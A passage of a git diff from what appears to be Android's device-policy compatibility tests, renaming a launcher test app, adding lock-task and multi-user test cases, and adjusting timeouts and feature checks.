diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
similarity index 71%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index 59f3767..ae2249a 100755
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,9 +16,14 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nolaunchableactivityapp">
+    package="com.android.cts.nolauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+            </intent-filter>
+        </activity>
         <service android:name=".EmptyService" android:enabled="true"></service>
     </application>
 
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_permission_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_permission_AndroidManifest.xml
similarity index 100%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_permission_AndroidManifest.xml
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_permission_AndroidManifest.xml
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
similarity index 94%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
index 6cd0da6..80f9ee5 100644
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
@@ -13,7 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package com.android.cts.nolaunchableactivityapp;
+package com.android.cts.haslaunchableactivityapp;
 
 import android.app.Service;
 import android.content.Intent;
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
similarity index 75%
copy from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
copy to hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
index 4cf6efa..1f2b2cb 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,8 +13,10 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.cts.haslaunchableactivityapp;
 
-package com.android.cts.deviceowner;
+import android.app.Activity;
 
-public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+public class MainActivity extends Activity {
 }
+
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index 45032a4..cade532 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -42,7 +42,9 @@
 import android.test.AndroidTestCase;
 
 import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
 
+import java.io.IOException;
 import java.util.List;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
@@ -53,12 +55,14 @@
 public class LauncherAppsTests extends AndroidTestCase {
 
     public static final String SIMPLE_APP_PACKAGE = "com.android.cts.launcherapps.simpleapp";
-    private static final String NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE =
-            "com.android.cts.nolaunchableactivityapp";
-    private static final String NO_COMPONENT_APP_PACKAGE =
-            "com.android.cts.nocomponentapp";
+    private static final String HAS_LAUNCHER_ACTIVITY_APP_PACKAGE =
+            "com.android.cts.haslauncheractivityapp";
+    private static final String NO_LAUNCHER_ACTIVITY_APP_PACKAGE =
+            "com.android.cts.nolauncheractivityapp";
     private static final String NO_PERMISSION_APP_PACKAGE =
             "com.android.cts.nopermissionapp";
+    private static final String LAUNCHER_ACTIVITY_COMPONENT =
+            "com.android.cts.haslauncheractivityapp/.MainActivity";
 
     private static final String SYNTHETIC_APP_DETAILS_ACTIVITY = "android.app.AppDetailsActivity";
 
@@ -216,15 +220,17 @@
         assertFalse(mLauncherApps.isPackageEnabled("android", mUser));
     }
 
-    public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
-        // NoLaunchableActivityApp is installed for duration of this test - make sure
+    public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
+        // HasLauncherActivityApp is installed for duration of this test - make sure
         // it's present on the activity list, has the synthetic activity generated, and it's
         // enabled and exported
-        assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+        disableLauncherActivity();
+        assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
     }
 
     public void testGetSetSyntheticAppDetailsActivityEnabled() throws Exception {
-        assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+        disableLauncherActivity();
+        assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         try {
             pm.setSyntheticAppDetailsActivityEnabled(mContext.getPackageName(), false);
@@ -233,7 +239,7 @@
             // Expected: No permission
         }
         try {
-            pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, false);
+            pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, false);
             fail("Should not able to change other app's app details activity state");
         } catch (SecurityException e) {
             // Expected: No permission
@@ -241,17 +247,17 @@
         mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
         try {
             assertTrue(
-                    pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
+                    pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
             // Disable app details activity and assert if the change is applied
-            pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, false);
+            pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, false);
             assertFalse(
-                    pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
-            assertInjectedActivityNotFound(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+                    pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
+            assertInjectedActivityNotFound(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
             // Enable app details activity and assert if the change is applied
-            pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, true);
+            pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, true);
             assertTrue(
-                    pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
-            assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+                    pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
+            assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
         } finally {
             mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
         }
@@ -262,10 +268,10 @@
         assertActivityInjected(MANAGED_PROFILE_PKG);
     }
 
-    public void testNoComponentAppNotInjected() throws Exception {
-        // NoComponentApp is installed for duration of this test - make sure
+    public void testNoLauncherActivityAppNotInjected() throws Exception {
+        // NoLauncherActivityApp is installed for duration of this test - make sure
         // it's NOT present on the activity list
-        assertInjectedActivityNotFound(NO_COMPONENT_APP_PACKAGE);
+        assertInjectedActivityNotFound(NO_LAUNCHER_ACTIVITY_APP_PACKAGE);
     }
 
     public void testNoPermissionAppNotInjected() throws Exception {
@@ -275,10 +281,11 @@
     }
 
     public void testDoPoNoTestAppInjectedActivityFound() throws Exception {
-        // NoLaunchableActivityApp is installed for duration of this test - make sure
+        // HasLauncherActivityApp is installed for duration of this test - make sure
         // it's NOT present on the activity list For example, DO / PO mode won't show icons.
         // This test is being called by DeviceOwnerTest.
-        assertInjectedActivityNotFound(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+        disableLauncherActivity();
+        assertInjectedActivityNotFound(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
     }
 
     public void testProfileOwnerInjectedActivityNotFound() throws Exception {
@@ -305,6 +312,11 @@
         }
     }
 
+    private void disableLauncherActivity() throws IOException {
+        SystemUtil.runShellCommand(mInstrumentation,
+                "pm disable --user " + mUser.getIdentifier() + " " + LAUNCHER_ACTIVITY_COMPONENT);
+    }
+
     private void expectSecurityException(ExceptionRunnable action, String failMessage)
             throws Exception {
         try {
@@ -336,7 +348,7 @@
             if (compName.getPackageName().equals(targetPackage)) {
                 noLaunchableActivityAppFound = true;
                 // make sure it points to the synthetic app details activity
-                assertEquals(activity.getName(), SYNTHETIC_APP_DETAILS_ACTIVITY);
+                assertEquals(SYNTHETIC_APP_DETAILS_ACTIVITY, activity.getName());
                 // make sure it's both exported and enabled
                 try {
                     PackageManager pm = mInstrumentation.getContext().getPackageManager();
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
index 8f1f88e..348348c 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.managedprofile;
 
 import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
+import static java.util.concurrent.TimeUnit.SECONDS;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
@@ -33,7 +34,6 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Verify that certain cross profile intent filters are disallowed when the device admin sets
@@ -176,7 +176,7 @@
                         UserManager.DISALLOW_SHARE_INTO_MANAGED_PROFILE);
             }
             // Wait for the restriction to apply
-            assertTrue("Restriction not applied after 5 seconds", latch.await(5, TimeUnit.SECONDS));
+            assertTrue("Restriction not applied after 60 seconds", latch.await(60, SECONDS));
         } finally {
             mContext.unregisterReceiver(receiver);
         }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
index c74211d..b82927e 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NfcTest.java
@@ -20,15 +20,19 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.test.AndroidTestCase;
-import android.util.Log;
 
 public class NfcTest extends AndroidTestCase {
     private static final String SAMPLE_TEXT = "This is my text to send.";
     private static final String TEXT_MIME_TYPE = "text/plain";
     private static final String NFC_BEAM_ACTIVITY = "com.android.nfc.BeamShareActivity";
+    private static int NFC_RESOLVE_TIME_STEP_MILLIS = 1000;
+    private static int NFC_RESOLVE_TIMEOUT_MILLIS = 16000;
 
     public void testNfcShareDisabled() throws Exception {
         Intent intent = getTextShareIntent();
+        // After the "no_outgoing_beam" configuration item is modified, it takes a while
+        // until NFC receives the DEVICE_POLICY_MANAGER_STATE_CHANGED broadcast
+        waitForNfcBeamActivityDisabled(intent, NFC_RESOLVE_TIMEOUT_MILLIS);
         assertFalse("Nfc beam activity should not be resolved", isNfcBeamActivityResolved(intent));
     }
 
@@ -37,6 +41,15 @@
         assertTrue("Nfc beam activity should be resolved", isNfcBeamActivityResolved(intent));
     }
 
+    private void waitForNfcBeamActivityDisabled(Intent intent, int maxDelayMillis)
+            throws Exception {
+        int totalDelayedMillis = 0;
+        while (isNfcBeamActivityResolved(intent) && totalDelayedMillis <= maxDelayMillis) {
+            Thread.sleep(NFC_RESOLVE_TIME_STEP_MILLIS);
+            totalDelayedMillis += NFC_RESOLVE_TIME_STEP_MILLIS;
+        }
+    }
+
     private Intent getTextShareIntent() {
         Intent intent = new Intent();
         intent.setAction(Intent.ACTION_SEND);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 3b0cbfb..a1908ef 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -42,10 +42,13 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 import javax.annotation.Nullable;
 
@@ -108,6 +111,12 @@
      */
     private static final int STAY_ON_WHILE_PLUGGED_IN_FLAGS = 7;
 
+    /**
+     * User ID for all users.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_ALL = -1;
+
     protected static interface Settings {
         public static final String GLOBAL_NAMESPACE = "global";
         public static interface Global {
@@ -136,6 +145,9 @@
     /** Whether the device has a lock screen.*/
     protected boolean mHasSecureLockScreen;
 
+    /** Whether the device supports telephony. */
+    protected boolean mHasTelephony;
+
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
@@ -156,6 +168,7 @@
         }
         mSupportsMultiUser = getMaxNumberOfUsersSupported() > 1;
         mSupportsFbe = hasDeviceFeature("android.software.file_based_encryption");
+        mHasTelephony = hasDeviceFeature("android.hardware.telephony");
         mFixedPackages = getDevice().getInstalledPackageNames();
         mBuildHelper = new CompatibilityBuildHelper(mCtsBuild);
 
@@ -185,6 +198,7 @@
         }
 
         removeOwners();
+        switchUser(USER_SYSTEM);
         removeTestUsers();
         // Unlock keyguard before test
         wakeupAndDismissKeyguard();
@@ -199,6 +213,7 @@
         getDevice().executeShellCommand("settings put global package_verifier_enable "
                 + mPackageVerifier);
         removeOwners();
+        switchUser(USER_SYSTEM);
         removeTestUsers();
         removeTestPackages();
         super.tearDown();
@@ -211,10 +226,20 @@
 
     protected void installAppAsUser(String appFileName, boolean grantPermissions, int userId)
             throws FileNotFoundException, DeviceNotAvailableException {
+        installAppAsUser(appFileName, grantPermissions, /* dontKillApp */ false, userId);
+    }
+
+    protected void installAppAsUser(String appFileName, boolean grantPermissions,
+            boolean dontKillApp, int userId)
+                    throws FileNotFoundException, DeviceNotAvailableException {
         CLog.d("Installing app " + appFileName + " for user " + userId);
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        List<String> extraArgs = new LinkedList<>();
+        extraArgs.add("-t");
+        if (dontKillApp) extraArgs.add("--dont-kill");
         String result = getDevice().installPackageForUser(
-                buildHelper.getTestFile(appFileName), true, grantPermissions, userId, "-t");
+                buildHelper.getTestFile(appFileName), true, grantPermissions, userId,
+                extraArgs.toArray(new String[extraArgs.size()]));
         assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
                 result);
     }
@@ -235,6 +260,21 @@
         getDevice().startUser(userId);
     }
 
+    /** Initializes the user with waitFlag. This is required so that apps can run on it. */
+    protected void startUserAndWait(int userId) throws Exception {
+        getDevice().startUser(userId, /* waitFlag= */ true);
+    }
+
+    /**
+     * Initializes the user with the given id, and waits until the user has started and unlocked
+     * before continuing.
+     *
+     * <p>This is required so that apps can run on it.
+     */
+    protected void startUser(int userId, boolean waitFlag) throws Exception {
+        getDevice().startUser(userId, waitFlag);
+    }
+
     /**
      * Starts switching to the user with the given ID.
      *
@@ -605,21 +645,15 @@
 
     protected int getUserSerialNumber(int userId) throws DeviceNotAvailableException{
         // TODO: Move this logic to ITestDevice.
-        // dumpsys user return lines like "UserInfo{0:Owner:13} serialNo=0"
-        String commandOutput = getDevice().executeShellCommand("dumpsys user");
-        String[] tokens = commandOutput.split("\\n");
-        for (String token : tokens) {
-            token = token.trim();
-            if (token.contains("UserInfo{" + userId + ":")) {
-                String[] split = token.split("serialNo=");
-                assertTrue(split.length == 2);
-                int serialNumber = Integer.parseInt(split[1]);
-                CLog.d("Serial number of user " + userId + ": "
-                        + serialNumber);
-                return serialNumber;
-            }
+        // dumpsys user output contains lines like "UserInfo{0:Owner:13} serialNo=0 isPrimary=true"
+        final Pattern pattern =
+                Pattern.compile("UserInfo\\{" + userId + ":[^\\n]*\\sserialNo=(\\d+)\\s");
+        final String commandOutput = getDevice().executeShellCommand("dumpsys user");
+        final Matcher matcher = pattern.matcher(commandOutput);
+        if (matcher.find()) {
+            return Integer.parseInt(matcher.group(1));
         }
-        fail("Couldn't find user " + userId);
+        fail("Couldn't find serial number for user " + userId);
         return -1;
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 580ffde..9cdcf1a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -182,7 +182,7 @@
             fail("Failed to set device owner");
             return -1;
         }
-        startUser(userId);
+        startUserAndWait(userId);
         return userId;
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 56014ea..059635a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -50,14 +50,16 @@
 
     public static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
     public static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp.apk";
-    public static final String ADMIN_RECEIVER_TEST_CLASS
+    protected static final String ADMIN_RECEIVER_TEST_CLASS
             = ".BaseDeviceAdminTest$BasicAdminReceiver";
+    protected static final String DEVICE_ADMIN_COMPONENT_FLATTENED =
+            DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS;
 
     private static final String STORAGE_ENCRYPTION_TEST_CLASS = ".StorageEncryptionTest";
     private static final String IS_PRIMARY_USER_PARAM = "isPrimaryUser";
 
-    private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
-    private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
+    protected static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
+    protected static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
 
     private static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
     private static final String INTENT_SENDER_APK = "CtsIntentSenderApp.apk";
@@ -855,6 +857,11 @@
             return;
         }
 
+        if (!hasService("wallpaper")) {
+            CLog.d("testSetWallpaper_disallowed(): device does not support wallpapers");
+            return;
+        }
+
         installAppAsUser(CUSTOMIZATION_APP_APK, mUserId);
         try {
             changeUserRestrictionOrFail(DISALLOW_SET_WALLPAPER, true, mUserId);
@@ -871,6 +878,10 @@
         if (!mHasFeature) {
             return;
         }
+        if (!hasService("wallpaper")) {
+            CLog.d("testDisallowSetWallpaper_allowed(): device does not support wallpapers");
+            return;
+        }
         executeDeviceTestMethod(".CustomizationRestrictionsTest",
                 "testDisallowSetWallpaper_allowed");
     }
@@ -1056,6 +1067,111 @@
                     .build());
     }
 
+    public void testLockTask() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        try {
+            installAppAsUser(INTENT_RECEIVER_APK, mUserId);
+            executeDeviceTestClass(".LockTaskTest");
+            assertMetricsLogged(
+                    getDevice(),
+                    () -> executeDeviceTestMethod(".LockTaskTest", "testStartLockTask"),
+                    new DevicePolicyEventWrapper.Builder(EventId.SET_LOCKTASK_MODE_ENABLED_VALUE)
+                            .setAdminPackageName(DEVICE_ADMIN_PKG)
+                            .setBoolean(true)
+                            .setStrings(DEVICE_ADMIN_PKG)
+                            .build());
+        } catch (AssertionError ex) {
+            // STOPSHIP(b/32771855), remove this once we fixed the bug.
+            executeShellCommand("dumpsys activity activities");
+            executeShellCommand("dumpsys window -a");
+            executeShellCommand("dumpsys activity service com.android.systemui");
+            throw ex;
+        } finally {
+            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+        }
+    }
+
+    public void testLockTaskAfterReboot() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Just start kiosk mode
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "startLockTask");
+
+            // Reboot while in kiosk mode and then unlock the device
+            rebootAndWaitUntilReady();
+
+            // Check that kiosk mode is working and can't be interrupted
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        try {
+            // Just start kiosk mode
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "startLockTask");
+
+            // Reboot while in kiosk mode and then unlock the device
+            rebootAndWaitUntilReady();
+
+            // Try to open settings via adb
+            executeShellCommand("am start -a android.settings.SETTINGS");
+
+            // Check again
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTask_defaultDialer() throws Exception {
+        if (!mHasFeature || !mHasTelephony) {
+            return;
+        }
+        try {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskCanLaunchDefaultDialer");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTask_emergencyDialer() throws Exception {
+        if (!mHasFeature || !mHasTelephony) {
+            return;
+        }
+        try {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskCanLaunchEmergencyDialer");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
+    public void testLockTask_exitIfNoLongerWhitelisted() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        try {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsExitedIfNotWhitelisted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "cleanupLockTask");
+        }
+    }
+
     public void testSuspendPackage() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index 0b7cc6b..25168ff 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -592,7 +592,7 @@
             final int userId = createManagedProfile(mPrimaryUserId);
             installAppAsUser(apkName, userId);
             setProfileOwnerOrFail(adminReceiverClassName, userId);
-            startUser(userId);
+            startUserAndWait(userId);
             runDeviceTestsAsUser(
                     packageName,
                     MANAGEMENT_TEST,
@@ -617,7 +617,7 @@
         List<Integer> newUsers = getUsersCreatedByTests();
         assertEquals(1, newUsers.size());
         int secondaryUserId = newUsers.get(0);
-        getDevice().startUser(secondaryUserId);
+        getDevice().startUser(secondaryUserId, /* waitFlag= */ true);
         return secondaryUserId;
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index a42799e..7c335c2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -18,6 +18,8 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 
+import android.stats.devicepolicy.EventId;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -33,8 +35,6 @@
 import java.util.List;
 import java.util.Map;
 
-import android.stats.devicepolicy.EventId;
-
 /**
  * Set of tests for Device Owner use cases.
  */
@@ -72,8 +72,8 @@
     private static final String ARG_NETWORK_LOGGING_BATCH_COUNT = "batchCount";
     private static final String TEST_UPDATE_LOCATION = "/data/local/tmp/cts/deviceowner";
 
-    private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
-            "CtsNoLaunchableActivityApp.apk";
+    private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
+            "CtsHasLauncherActivityApp.apk";
 
     /**
      * Copied from {@link android.app.admin.DevicePolicyManager
@@ -81,12 +81,6 @@
      */
     private static final int UPDATE_ERROR_UPDATE_FILE_INVALID = 3;
 
-    /**
-     * Copied from {@link android.app.admin.DevicePolicyManager
-     * .InstallSystemUpdateCallback#UPDATE_ERROR_UNKNOWN}
-     */
-    private static final int UPDATE_ERROR_UNKNOWN = 1;
-
     private static final int TYPE_NONE = 0;
 
     /**
@@ -119,6 +113,8 @@
             }
 
             getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
+            // Enable the notification listener
+            getDevice().executeShellCommand("cmd notification allow_listener com.android.cts.deviceowner/com.android.cts.deviceowner.NotificationListener");
         }
         mHasCreateAndManageUserFeature = mHasFeature && canCreateAdditionalUsers(1)
                 && hasDeviceFeature("android.software.managed_users");
@@ -282,15 +278,24 @@
             return;
         }
 
+        int maxUsers = getDevice().getMaxNumberOfUsersSupported();
         int maxRunningUsers = getDevice().getMaxNumberOfRunningUsersSupported();
-        // Primary user is already running, so we can start up to maxRunningUsers -1.
-        for (int i = 0; i < maxRunningUsers - 1; i++) {
+
+        // Primary user is already running, so we can create and start up to minimum of above - 1.
+        int usersToCreateAndStart = Math.min(maxUsers, maxRunningUsers) - 1;
+        for (int i = 0; i < usersToCreateAndStart; i++) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
                     "testCreateAndManageUser_StartInBackground");
         }
-        // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
+
+        if (maxUsers > maxRunningUsers) {
+            // The next startUserInBackground should return USER_OPERATION_ERROR_MAX_RUNNING_USERS.
+            executeDeviceTestMethod(".CreateAndManageUserTest",
+                    "testCreateAndManageUser_StartInBackground_MaxRunningUsers");
+        } else {
+            // The next createAndManageUser should return USER_OPERATION_ERROR_MAX_USERS.
+            executeDeviceTestMethod(".CreateAndManageUserTest", "testCreateAndManageUser_MaxUsers");
+        }
     }
 
     /**
@@ -568,113 +573,6 @@
         executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
     }
 
